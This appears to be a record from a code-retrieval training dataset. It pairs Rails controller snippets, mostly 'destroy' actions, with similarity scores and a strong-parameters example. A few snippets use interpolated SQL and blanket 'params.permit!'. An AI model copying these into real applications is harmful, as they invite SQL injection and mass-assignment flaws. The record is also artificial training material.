"def destroy\n @line_detail.destroy\n respond_to do |format|\n format.html { redirect_to line_details_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @route_line = RouteLine.find(params[:id])\n @route_line.destroy\n\n respond_to do |format|\n format.html { redirect_to(route_lines_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @line.destroy\n respond_to do |format|\n format.html { redirect_to lines_url, notice: \"Line was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lineup = Lineup.find(params[:id])\n @lineup.destroy\n\n respond_to do |format|\n format.html { redirect_to lineups_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line = Line.find(params[:id])\n @line.destroy\n\n respond_to do |format|\n format.html { redirect_to budget_path(@line.budget) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item_line = ItemLine.find(params[:id])\n @item_line.destroy\n\n respond_to do |format|\n format.html { redirect_to item_lines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pump_line = PumpLine.find(params[:id])\n @pump_line.destroy\n\n respond_to do |format|\n format.html { redirect_to(pump_lines_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lineitem.destroy\n respond_to do |format|\n format.html { redirect_to lineitems_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @shipping_line.destroy\n respond_to do |format|\n format.html { redirect_to shipping_lines_url, notice: \"Shipping line was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @batting_line = BattingLine.find(params[:id])\n @batting_line.destroy\n\n respond_to do |format|\n format.html { redirect_to batting_lines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order_line = OrderLine.find(params[:id])\n @order_line.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lineitem = Lineitem.find(params[:id])\n @lineitem.destroy\n\n respond_to do |format|\n format.html { redirect_to lineitems_url }\n format.json { head :ok }\n end\n end",
"def destroy\n Line.transaction do\n @line.destroy!\n end\n respond_to do |format|\n format.html { redirect_to node_lines_url(@node), notice: 'Line was successfully destroyed.' }\n format.json { head :no_content }\n format.js\n end\n end",
"def destroy\n @line_liver.destroy\n respond_to do |format|\n format.html { redirect_to line_livers_url, notice: 'Line liver was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n #@line = Line.find(params[:id])\n #@line.destroy\n\n #respond_to do |format|\n #format.html { redirect_to(lines_url) }\n #format.xml { head :ok }\n #end\n @line.destroy\n redirect_to lines_path, :flash => { :success => \"Line deleted!\" }\n\n end",
"def destroy\n @purchase_order_item_line = PurchaseOrderItemLine.find(params[:id])\n @purchase_order_item_line.destroy\n\n respond_to do |format|\n format.html { redirect_to purchase_order_item_lines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_items.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n destroy_line_item_response\n end",
"def destroy\n @line_up.destroy\n respond_to do |format|\n format.html { redirect_to line_ups_url, notice: 'Line up was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cruise_line.destroy\n respond_to do |format|\n format.html { redirect_to cruise_lines_url, notice: 'Cruise line was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item = @order.line_items.find(params[:id])\n @line_item.destroy\n\n head :no_content\n end",
"def destroy\n\t\t@line_item.destroy\n\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to line_items_url, notice: \"Req ID: #{@line_item.id} removed.\" }\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: \"Line item was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to @line_item.cart, notice: t('line_items.destroy.lineDelete') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_station = LineStation.find(params[:id])\n @line_station.destroy\n\n respond_to do |format|\n format.html { redirect_to line_stations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line.destroy\n respond_to do |format|\n format.html { redirect_to attachment_line_list_path(@line.attachment), notice: 'Line was successfully destroyed.' }\n end\n end",
"def destroy\n @line_item = line_items.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n end\n end",
"def destroy\n @flightline = Flightline.find(params[:id])\n @flightline.destroy\n\n respond_to do |format|\n format.html { redirect_to(flightlines_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @invent_journal_line = InventJournalLine.find(params[:id])\n @invent_journal_line.destroy\n\n respond_to do |format|\n format.html { redirect_to invent_journal_lines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_station_2.destroy\n respond_to do |format|\n format.html { redirect_to line_station_2s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\nend",
"def destroy\n @destination = Destination.find(params[:id])\n @destination.destroy\n\n respond_to do |format|\n format.html { redirect_to destinations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @destination = Destination.find(params[:id])\n @destination.destroy\n\n respond_to do |format|\n format.html { redirect_to destinations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @destination = Destination.find(params[:id])\n @destination.destroy\n\n respond_to do |format|\n format.html { redirect_to destinations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @so_header = SoHeader.find(params[:so_header_id])\n @so_line = @so_header.so_lines.find(params[:id])\n @so_line.destroy\n\n respond_to do |format|\n format.html { redirect_to so_header_so_lines_url(@so_header) }\n format.json { head :ok }\n end\n end",
"def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end",
"def destroy\n @budget_line.destroy\n respond_to do |format|\n format.html { redirect_to budget_lines_url, notice: 'Budget line was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: \"Line item was successfully destroyed.\" }\n format.json { head :no_content }\n end\nend",
"def destroy\n @donation_line = DonationLine.find(params[:id])\n @donation_line.destroy\n\n respond_to do |format|\n format.html { redirect_to donation_lines_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @service_line = ServiceLine.find(params[:id])\n @service_line.destroy\n\n respond_to do |format|\n format.html { redirect_to(service_lines_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @destination = Destination.find(params[:id])\n\n respond_to do |format|\n format.html { redirect_to destinations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bus_line_direction.destroy\n respond_to do |format|\n format.html { redirect_to bus_line_directions_url, notice: 'Bus line direction was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.js {}\n format.json { head :no_content }\n end\n end",
"def destroy\n @linea = Linea.find(params[:id])\n @linea.destroy\n\n respond_to do |format|\n format.html { redirect_to(lineas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @credit_line = CreditLine.find(params[:id])\n @credit_line.destroy\n\n respond_to do |format|\n format.html { redirect_to credit_lines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n record = InvoiceLineItem.find(params[:id])\n record.destroy\n\n respond_to do |format| \n format.json { head :no_content }\n end\n end",
"def destroy\n @order_line.destroy\n respond_to do |format|\n format.html { redirect_to order_lines_url, notice: 'Order line was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n DB.exec(\"DELETE FROM line WHERE id = #{self.id};\")\n end",
"def destroy\n @liner.destroy\n respond_to do |format|\n format.html { redirect_to liners_url, notice: 'Liner was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @storyline = Storyline.find(params[:id])\n @storyline.destroy\n\n respond_to do |format|\n format.html { redirect_to storylines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invoice_adjustment_line = InvoiceAdjustmentLine.find(params[:id])\n @invoice_adjustment_line.destroy\n\n respond_to do |format|\n format.html { redirect_to(invoice_adjustment_lines_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @sub1_line_item.destroy\n respond_to do |format|\n format.html { redirect_to sub1_line_items_url, notice: 'Sub1 line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invoice_addon_line_item.destroy\n respond_to do |format|\n format.html { redirect_to invoice_addon_line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.js\n format.json { head :no_content }\n end\n end",
"def destroy\n @consultant_customer_destination.destroy\n respond_to do |format|\n format.html { redirect_to consultant_customer_destinations_url }\n format.json { head :no_content }\n end\n end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def destroy\n @transport_line = TransportLine.find(params[:id])\n @transport_line.destroy\n\n respond_to do |format|\n format.html { redirect_to(transport_lines_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @line_case.destroy\n respond_to do |format|\n format.html { redirect_to line_cases_url, notice: 'Line case was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @contract_service_line.destroy\n respond_to do |format|\n format.html { redirect_to contract_service_lines_url, notice: 'Contract service line was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @clothing_line.destroy\n respond_to do |format|\n format.html { redirect_to clothing_lines_url, notice: 'Clothing line was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @lineitem = Lineitem.find(params[:id])\r\n @lineitem.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(lineitems_url) }\r\n format.xml { head :ok }\r\n end\r\n end",
"def destroy\n @destination.destroy\n set_destinations\n end",
"def delete_from_entzumena\n headline = Headline.where({:source_item_type => params[:source_item_type], :source_item_id => params[:source_item_id]}).first\n if headline.destroy\n render :json => true, :status => 200\n else\n render :json => false, :status => :error\n end\n end",
"def destroy\n @proxy_source = ProxySource.find(params[:id])\n @proxy_source.destroy\n\n respond_to do |format|\n format.html { redirect_to proxy_sources_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @destination = @organism.destinations.find(params[:id])\n @destination.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_organism_destinations_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @applied_line.destroy\n respond_to do |format|\n format.html { redirect_to applied_lines_url, notice: 'Applied line was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @payment = Payment.find(params[:payment_id])\n @payment_line = @payment.payment_lines.find(params[:id])\n @payment_line.destroy\n\n respond_to do |format|\n format.html { redirect_to payment_payment_lines_url(payment) }\n format.json { head :ok }\n end\n end",
"def destroy\n @step.destroy\n respond_to do |format|\n format.html { redirect_to @trip }\n format.json { head :no_content }\n end\n end",
"def destroy\n @time_line.destroy\n respond_to do |format|\n format.html { redirect_to time_lines_url, notice: 'Time line was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @linea_uv.destroy\n respond_to do |format|\n format.html { redirect_to lineas_uv_url, notice: 'Linea uv was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invoice_line_item.destroy\n respond_to do |format|\n format.html { redirect_to invoice_line_items_url, notice: 'Invoice line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def delete(type, id)\n http_delete @target, \"#{type_info(type, :path)}/#{Addressable::URI.encode(id)}\", @auth_header, @zone\n end",
"def destroy\n @journal_line = JournalLine.find(params[:id])\n @journal_line.destroy\n\n respond_to do |format|\n format.html { redirect_to(journal_lines_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @translated_line.destroy\n respond_to do |format|\n format.html { redirect_to translated_lines_url, notice: 'Translated line was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @estimate_line_item = EstimateLineItem.find(params[:id])\n @estimate_line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to(estimate_line_items_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @product_line = ProductLine.find(params[:id])\n @product_line.destroy\n\n respond_to do |format|\n format.html { redirect_to product_lines_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @steamshipline.destroy\n respond_to do |format|\n format.html { redirect_to steamshiplines_url, notice: 'Steamshipline was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @order = @line_item.order\n @line_item.destroy\n \n @order.total = @order.line_items.sum(:line_total)\n @order.update_attribute(:total, @order.total)\n\n respond_to do |format|\n format.html { redirect_to request.env[\"HTTP_REFERER\"] }\n format.xml { head :ok }\n end\n end"
] |
[
"0.67035",
"0.6682395",
"0.66671354",
"0.65862906",
"0.6562961",
"0.6550406",
"0.65248895",
"0.64999706",
"0.6480687",
"0.64735466",
"0.6408842",
"0.64042133",
"0.64042133",
"0.640356",
"0.64025486",
"0.63977885",
"0.63977885",
"0.63977885",
"0.63977885",
"0.63644946",
"0.63574916",
"0.63308746",
"0.63250005",
"0.6322524",
"0.6283768",
"0.62832934",
"0.6268203",
"0.6267172",
"0.62623847",
"0.6260065",
"0.62460685",
"0.6227792",
"0.6221711",
"0.6221102",
"0.6221102",
"0.6221102",
"0.6221102",
"0.6221102",
"0.6221102",
"0.62197614",
"0.62131387",
"0.62105244",
"0.62051845",
"0.6175472",
"0.61694944",
"0.6168253",
"0.6165519",
"0.6158093",
"0.6156926",
"0.61518294",
"0.6146225",
"0.6146225",
"0.6146225",
"0.6139849",
"0.6137197",
"0.6136396",
"0.61350167",
"0.6133579",
"0.61291903",
"0.6116353",
"0.61017317",
"0.6100708",
"0.60977876",
"0.60906565",
"0.60859245",
"0.6082815",
"0.6066569",
"0.60614043",
"0.6058706",
"0.60583216",
"0.604821",
"0.6038656",
"0.60365343",
"0.6033843",
"0.6016777",
"0.60052156",
"0.5996622",
"0.5974159",
"0.5973731",
"0.59702843",
"0.59700704",
"0.59628195",
"0.59580714",
"0.5944313",
"0.5939069",
"0.59368503",
"0.5931133",
"0.5912523",
"0.5909771",
"0.590872",
"0.59082234",
"0.590258",
"0.5901478",
"0.58971626",
"0.58958983",
"0.589088",
"0.5885705",
"0.5885177",
"0.5883334",
"0.58781654"
] |
0.72329146
|
0
|
Use callbacks to share common setup or constraints between actions.
|
def set_line_destination
@line_destination = LineDestination.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def line_destination_params
params.require(:line_destination).permit(:destination_id, :plan_id)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
